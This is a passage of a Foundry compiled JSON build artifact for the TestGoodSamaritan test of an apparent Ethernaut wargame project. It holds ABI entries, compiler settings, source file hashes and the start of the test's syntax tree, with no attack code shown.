StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/GoodSamaritan.t.sol":"TestGoodSamaritan"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/GoodSamaritanAttack.sol":{"keccak256":"0x110f6720b8848a9d39451ce62f2a7da54ce7adb73b31eb31a6957d2f68424c0c","urls":["bzz-raw://3da301f857f82dbc9f168b78e5246470b520edce9ba415e008c801faf8d26992","dweb:/ipfs/QmQMs65FAPzB88Gnh23ipvy2TChBzpkTRTthxboeBVWLvN"],"license":"MIT"},"src/levels/GoodSamaritan.sol":{"keccak256":"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947","urls":["bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615","dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M"],"license":"MIT"},"src/levels/GoodSamaritanFactory.sol":{"keccak256":"0xbedeca55a8fc71a3fd3f948047bea3d46a5bc588eb4b66962129669a347533a3","urls":["bzz-raw://40d025c7abe8d8e3a9aa3fe930367d21daf3bc21b61031d6434b2044b1e18903","dweb:/ipfs/QmQSqdqxuyg9WabnC6BGVB7BRgzrotE6QyQXgdATnmL1g1"],"license":"MIT"},"src/levels/base/Level-08.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/GoodSamaritan.t.sol":{"keccak256":"0xd7518280c46b1a082e4f6c130fb072ebf79d296da874b7762c46796dca958dc5","urls":["bzz-raw://1a2004f00a8970ecfde20fed6f8227b1a43af869bd5aa11ef93a03f795671f59","dweb:/ipfs/QmUnUD2efXmcj7XZkC4tvS9FTfKFoatqtnomFcmWG8ZGob"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/GoodSamaritan.t.sol","id":61980,"exportedSymbols":{"Ethernaut":[49101],"GoodSamaritan":[53146],"GoodSamaritanAttack":[49569],"GoodSamaritanFactory":[53387],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestGoodSamaritan":[61979],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2079:135","nodes":[{"id":61785,"nodeType":"PragmaDirective","src":"32:23:135","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":61786,"nodeType":"ImportDirective","src":"57:28:135","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":61980,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":61788,"nodeType":"ImportDirective","src":"86:43:135","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":61980,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":61787,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:135","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61790,"nodeType":"ImportDirective","src":"131:59:135","nodes":[],"absolutePath":"src/levels/GoodSamaritan.sol","file":"src/levels/GoodSamaritan.sol","nameLocation":"-1:-1:-1","scope":61980,"sourceUnit":53328,"symbolAliases":[{"foreign":{"id":61789,"name":"GoodSamaritan","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53146,"src":"139:13:135","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61792,"nodeType":"ImportDirective","src":"191:73:135","nodes":[],"absolutePath":"src/levels/GoodSamaritanFactory.sol","file":"src/levels/GoodSamaritanFactory.sol","nameLocation":"-1:-1:-1","scope":61980,"sourceUnit":53388,"symbolAliases":[{"foreign":{"id":61791,"name":"GoodSamaritanFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53387,"src":"199:20:135","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61794,"nodeType":"ImportDirective","src":"265:72:135","nodes":[],"absolutePath":"src/attacks/GoodSamaritanAttack.sol","file":"src/attacks/GoodSamaritanAttack.sol","nameLocation":"-1:-1:-1","scope":61980,"sourceUnit":49570,"symbolAliases":[{"foreign":{"id":61793,"name":"GoodSamaritanAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49569,"src":"273:19:135","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61796,"nodeType":"ImportDirective","src":"338:48:135","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":61980,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":61795,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"346:5:135","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61798,"nodeType":"ImportDirective","src":"387:44:135","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":61980,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":61797,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"395:9:135","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61979,"nodeType":"ContractDefinition","src":"433:1677:135","nodes":[{"id":61805,"nodeType":"VariableDeclaration","src":"481:19:135","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"491:9:135","scope":61979,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":61804,"nodeType":"UserDefinedTypeName","pathNode":{"id":61803,"name":"Ethernaut","nameLocations":["481:9:135"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"481:9:135"},"referencedDeclaration":49101,"src":"481:9:135","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":61808,"nodeType":"VariableDeclaration","src":"506:22:135","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"520:8:135","scope":61979,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"},"typeName":{"id":61807,"nodeType":"UserDefinedTypeName","pathNode":{"id":61806,"name":"GoodSamaritan","nameLocations":["506:13:135"],"nodeType":"IdentifierPath","referencedDeclaration":53146,"src":"506:13:135"},"referencedDeclaration":53146,"src":"506:13:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}},"visibility":"internal"},{"id":61810,"nodeType":"VariableDeclaration","src":"535:21:135","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"551:5:135","scope":61979,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":61809,"name":"address","nodeType":"ElementaryTypeName","src":"535:15:135","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":61812,"nodeType":"VariableDeclaration","src":"562:22:135","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"578:6:135","scope":61979,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":61811,"name":"address","nodeType":"ElementaryTypeName","src":"562:15:135","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":61914,"nodeType":"FunctionDefinition","src":"771:607:135","nodes":[],"body":{"id":61913,"nodeType":"Block","src":"795:583:135","nodes":[],"statements":[{"assignments":[61817],"declarations":[{"constant":false,"id":61817,"mutability":"mutable","name":"users","nameLocation":"830:5:135","nodeType":"VariableDeclaration","scope":61913,"src":"805:30:135","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":61815,"name":"address","nodeType":"ElementaryTypeName","src":"805:15:135","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61816,"nodeType":"ArrayTypeName","src":"805:17:135","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":61821,"initialValue":{"arguments":[{"hexValue":"32","id":61819,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"850:1:135","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":61818,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"838:11:135","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":61820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"838:14:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"805:47:135"},{"expression":{"id":61826,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61822,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61810,"src":"863:5:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":61823,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61817,"src":"871:5:135","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":61825,"indexExpression":{"hexValue":"30","id":61824,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"877:1:135","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"871:8:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"863:16:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61827,"nodeType":"ExpressionStatement","src":"863:16:135"},{"expression":{"arguments":[{"id":61831,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61810,"src":"898:5:135","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":61832,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"905:7:135","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":61828,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"889:2:135","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract 